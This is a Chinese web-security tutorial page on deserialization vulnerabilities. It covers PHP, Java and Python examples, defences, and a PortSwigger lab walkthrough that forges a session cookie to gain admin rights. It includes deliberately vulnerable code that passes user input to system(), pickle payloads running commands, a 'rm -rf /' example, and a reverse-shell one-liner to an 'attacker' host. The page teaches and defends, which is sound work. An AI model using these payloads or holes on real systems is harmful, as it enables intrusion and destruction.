WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
17-反序列化漏洞
浏览
2
## 概述 反序列化漏洞(Deserialization Vulnerability)是一种因程序对 “不可信的序列化数据” 进行反序列化操作而产生的高危漏洞。 其核心危害是:攻击者可构造恶意的序列化数据,诱导程序在反序列化过程中执行非预期的代码(如系统命令、恶意逻辑),从而控制目标系统。 ## 基础概念 要理解反序列化漏洞,需先明确两个基础操作:序列化与反序列化。 | 操作 | 定义 | 作用 | 常见格式 | | -------- | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | | 序列化 | 将内存中的对象(如类实例、数据结构)转换为可传输 / 存储的格式(如字节流、字符串) | 便于对象在网络传输、本地存储(如写入文件)后,仍能完整恢复原始状态 | Java 的Serializable、PHP 的serialize()、Python 的pickle、JSON(部分场景) | | 反序列化 | 将序列化后的格式(如字节流)恢复为内存中原始对象的过程 | 从传输 / 存储中还原对象,供程序继续使用 | Java 的ObjectInputStream、PHP 的unserialize()、Python 的pickle.load() | 序列化是将复杂的数据结构(例如对象及其字段)转换为更“扁平”的格式的过程,以便可以作为顺序字节流发送和接收。 序列化数据可以更轻松地执行以下操作: - 将复杂数据写入进程间内存、文件或数据库 - 发送复杂数据,例如通过网络、应用程序的不同组件之间或在 API 调用中 至关重要的是,序列化对象时,其状态也会被持久化。换句话说,对象的属性及其赋值都会被保留。 反序列化是将此字节流还原为原始对象的完整副本的过程,其状态与序列化时完全相同。之后,网站的逻辑就可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。  ## 示例 PHP 中的序列化(serialize())与反序列化(unserialize()): ```php <?php // 定义一个测试类 class User { // 公共属性 public $name; protected $age; // 受保护属性(序列化时会带*前缀) private $email; // 私有属性(序列化时会带类名前缀) // 构造方法:初始化属性 public function __construct($name, $age, $email) { $this->name = $name; $this->age = $age; $this->email = $email; } // 魔术方法:反序列化时自动调用 public function __wakeup() { echo "触发 __wakeup() 方法(反序列化时执行)\n"; // 可以在这里添加一些反序列化后的逻辑(如数据验证) } // 魔术方法:对象被销毁时调用(脚本结束或unset()时) public function __destruct() { echo "触发 __destruct() 方法(对象被销毁)\n"; } } // 1. 创建对象 $user = new User("张三", 25, "zhangsan@example.com"); echo "==== 原始对象 ====\n"; var_dump($user); echo "\n"; // 2. 序列化对象:将对象转换为字符串 $serialized = serialize($user); echo "==== 序列化结果 ====\n"; echo $serialized . "\n\n"; // 3. 反序列化:将字符串恢复为对象 $unserialized = unserialize($serialized); echo "==== 反序列化后的对象 ====\n"; var_dump($unserialized); echo "\n"; // 4. 访问反序列化后对象的属性(公共属性可直接访问,受保护和私有属性需特殊处理) echo "反序列化后访问公共属性 name:" . $unserialized->name . "\n"; ?> ``` 输出结果: ```txt ==== 原始对象 ==== object(User)#1 (3) { ["name"]=> string(6) "张三" ["age":protected]=> int(25) ["email":"User":private]=> string(19) "zhangsan@example.com" } ==== 序列化结果 ==== O:4:"User":3:{s:4:"name";s:6:"张三";s:7:"*age";i:25;s:11:"Useremail";s:19:"zhangsan@example.com";} ==== 反序列化结果 ==== 触发 __wakeup() 方法(反序列化时执行) ==== 反序列化后的对象 ==== object(User)#2 (3) { ["name"]=> string(6) "张三" ["age":protected]=> int(25) ["email":"User":private]=> string(19) "zhangsan@example.com" } 反序列化后访问公共属性 name:张三 触发 __destruct() 方法(对象被销毁) 触发 __destruct() 方法(对象被销毁) ``` ```php // 1. 定义一个测试类 class Test { public $name = "test"; } // 2. 创建对象 $obj = new Test(); // 3. 序列化对象 → 字符串 echo serialize($obj); // 输出结果:O:4:"Test":1:{s:4:"name";s:4:"test";} ``` > 序列化后的字符串结构解析 ```txt O:4:"User":3:{s:4:"name";s:6:"张三";s:7:"*age";i:25;s:11:"Useremail";s:19:"zhangsan@example.com";} ``` O:4:"User": 表示这是一个对象(Object),类名长度为 4,类名为User。 :3:: 表示对象包含 3 个属性。 {...}: 内部为属性的键值对,格式为类型:长度:"值";: s:4:"name";s:6:"张三": 第一个属性是字符串(string),属性名name长度 4,值张三长度 6。 s:7:"*age";i:25: 第二个属性是受保护属性(protected),属性名前加*,总长度 7;值是整数(int) 25。 s:11:"Useremail";s:19:"zhangsan@example.com": 第三个属性是私有属性(private),属性名前加类名User,总长度 11;值是字符串zhangsan@example.com(长度 19)。 ## 漏洞原理 反序列化漏洞的本质是:程序对用户可控的序列化数据未进行安全校验,直接执行反序列化操作,而被反序列化的对象中包含攻击者预先植入的恶意逻辑。 漏洞触发的核心链条: 1. 对象包含 “危险方法”:许多编程语言中,对象在反序列化时会自动调用某些特殊方法(如 Java 的readObject()、PHP 的wakeup()、Python 的reduce__()),这些方法若包含逻辑操作(如文件读写、命令执行),就可能成为攻击入口。 2. 攻击者构造恶意对象:攻击者创建包含恶意逻辑的对象(如在readObject()中写入Runtime.exec("rm -rf /")),并将其序列化,生成恶意的序列化数据。 3. 程序反序列化恶意数据:程序接收攻击者提交的恶意序列化数据,未加验证直接反序列化,触发对象的特殊方法,执行其中的恶意逻辑。 ## 典型场景与示例 不同编程语言的反序列化机制不同,漏洞表现也有差异。 **Java 反序列化漏洞** Java 中,实现Serializable接口的类可被序列化,反序列化时会自动调用readObject()方法(若类中定义了该方法)。 假设存在一个包含危险readObject()的类: ```java import java.io.*; public class EvilObject implements Serializable { private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // 反序列化时自动执行此方法 Runtime.getRuntime().exec("calc.exe"); // 弹出计算器(恶意操作) } } ``` 攻击者序列化EvilObject实例,生成恶意字节流,通过漏洞点提交给程序。程序若直接反序列化该数据: ```java // 危险代码:直接反序列化用户输入的数据 ObjectInputStream ois = new ObjectInputStream(userInputStream); ois.readObject(); // 反序列化时触发EvilObject的readObject(),执行calc.exe ``` 最终会执行calc.exe,若替换为bash -i >& /dev/tcp/attacker/4444 0>&1,可获取反向 shell。 **PHP 反序列化漏洞** PHP 中,unserialize()函数用于反序列化,反序列化时会自动调用类的\__wakeup()(唤醒)、__destruct()(析构)等魔术方法。 存在一个包含危险__wakeup()的类: ```php class EvilClass { public function __wakeup() { // 反序列化时自动执行 system($_GET['cmd']); // 执行用户传入的命令(恶意操作) } } // 危险代码:直接反序列化用户输入 $userData = $_POST['data']; unserialize($userData); // 反序列化触发__wakeup() ``` 攻击者构造EvilClass的序列化数据(如O:9:"EvilClass":0:{}),并通过data参数提交,同时传入cmd=ls,即可执行ls命令。 **Python 反序列化漏洞** Python 的pickle模块用于序列化,反序列化(pickle.load())时会执行对象的reduce()方法(该方法返回的元组会被当作指令执行)。 攻击者构造恶意的pickle数据,其中reduce()返回执行命令的逻辑: ```python import pickle import os class EvilPickle: def __reduce__(self): # 反序列化时执行此方法返回的指令 return (os.system, ('ls',)) # 执行ls命令 # 生成恶意序列化数据 malicious_data = pickle.dumps(EvilPickle()) # 危险代码:反序列化不可信数据 with open('malicious.pkl', 'wb') as f: f.write(malicious_data) # 程序加载并反序列化 with open('malicious.pkl', 'rb') as f: pickle.load(f) # 触发__reduce__(),执行ls命令 ``` ## 主要危害 反序列化漏洞是 “致命级” 漏洞,危害与代码执行漏洞相当,包括: - 远程代码执行:执行任意系统命令(如删除文件、创建管理员账号),完全控制服务器; - 权限提升:利用程序运行的高权限账号(如root、Administrator)执行敏感操作; - 数据泄露 / 破坏:访问数据库配置、用户隐私数据,或删除核心业务数据; - 内网渗透:以当前服务器为跳板,攻击内网其他设备(如通过命令扫描内网端口)。 ## 防护措施 反序列化漏洞的防护核心是:严格限制反序列化的数据源和范围,避免不可信数据被反序列化。 **禁止反序列化不可信数据** 最根本的防护:若业务无需接收用户提供的序列化数据,直接禁止相关功能;若必须使用,确保数据来源绝对可信(如仅允许内部服务间传输)。 **限制反序列化的类 / 类型** 通过 “白名单机制”,仅允许反序列化预先定义的安全类(如 Java 中使用ObjectInputFilter过滤允许的类),拒绝任何未在白名单中的类。 **使用安全的序列化格式** 避免使用语言原生的危险序列化机制(如 Java Serializable、PHP serialize、Python pickle),改用更安全的格式: - 数据交换优先使用 JSON、XML(需配合严格校验); - 若必须序列化对象,使用带签名的序列化格式(如对序列化数据进行加密 + 签名,反序列化前验证签名)。 **禁用危险的特殊方法** 对于自定义类,避免在readObject()、\__wakeup()、\_\_reduce__()等反序列化触发的方法中包含危险操作(如命令执行、文件读写)。 **更新依赖与补丁** 许多反序列化漏洞源于第三方库(如 Apache Commons Collections、Jackson),需及时更新这些库到安全版本,修复已知漏洞。 **部署安全工具** 通过 WAF 检测恶意序列化数据特征(如特定类名、危险方法签名);使用静态代码分析工具(如 SonarQube)检测代码中不安全的反序列化操作。 ## 实验 靶机地址:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects 任务:编辑会话 Cookie 中的序列化对象以利用此漏洞并获取管理权限。然后,删除该用户 carlos。 账户凭证:wiener:peter。 1、访问靶机,登录账户。  2、在当前页面,抓取数据包。  3、观察Cookie值,选中session值,burp会自动识别并进行解码。  4、再次验证。  ```txt O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} ``` 初次观察并没有什么特殊值,再次观察到最后的b=0,数字0在布尔值中表示假,会不会 是这个值在控制权限呢,将数字0改为1尝试下。 5、改为1后进行base编码。  ```txt Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30= ``` 6、先将数据包发送到repeater模块中,再做更改。  发包成功,后台页面比原来多了一个管理面板功能。 7、点击管理面板,拦截数据包,持续更改Cookie中的session值。   8、点击删除,并持续更改Cookie中的session值。 
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~